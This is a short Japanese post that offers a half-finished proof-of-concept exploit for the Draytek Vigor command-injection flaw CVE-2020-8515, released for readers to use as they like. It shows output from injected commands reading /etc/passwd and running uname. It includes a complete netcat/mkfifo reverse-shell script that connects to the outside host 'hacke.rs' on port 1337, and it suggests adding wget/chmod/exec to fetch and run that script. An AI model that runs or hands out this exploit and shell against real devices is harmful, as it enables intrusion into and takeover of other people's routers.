
Draytek CVE-2020-8515 のPoC
以前作って転がしてあったDraytek CVE-2020-8515 PoC。
面白いことに、注入したコマンドは2回実行される。以下参照:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
これをきれいに仕上げる計画もあったのだが、正直なところ、もう1年ほど経ってしまい、その計画が何だったのか思い出せない。なので、これをお届けする。これにwget/chmod/execあたりを追加するのは難しくない。"do_stuff"関数を見てほしい。
以下のようなスクリプトをwgetで取得して実行すれば、リバースシェルが得られる:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
たぶん、注入時に使えない文字を回避できれば、そのようなスクリプトをecholoadすることもできると思う。後で追加するかもしれない。ただ、二重実行の問題がそれをかなり面倒にしている。今のところ、これは半熟状態で、「使うかどうかはユーザー次第」という感じだ。
このエクスプロイトが実戦(ITW)で大きな害を及ぼすことはないだろう。この脆弱性の影響を受ける機器は、おそらくすでにスクリプトキディのDDoSボットネットに乗っ取られているはずだ。
スキャンには、誰かが作ったnucleiテンプレートを使うこと。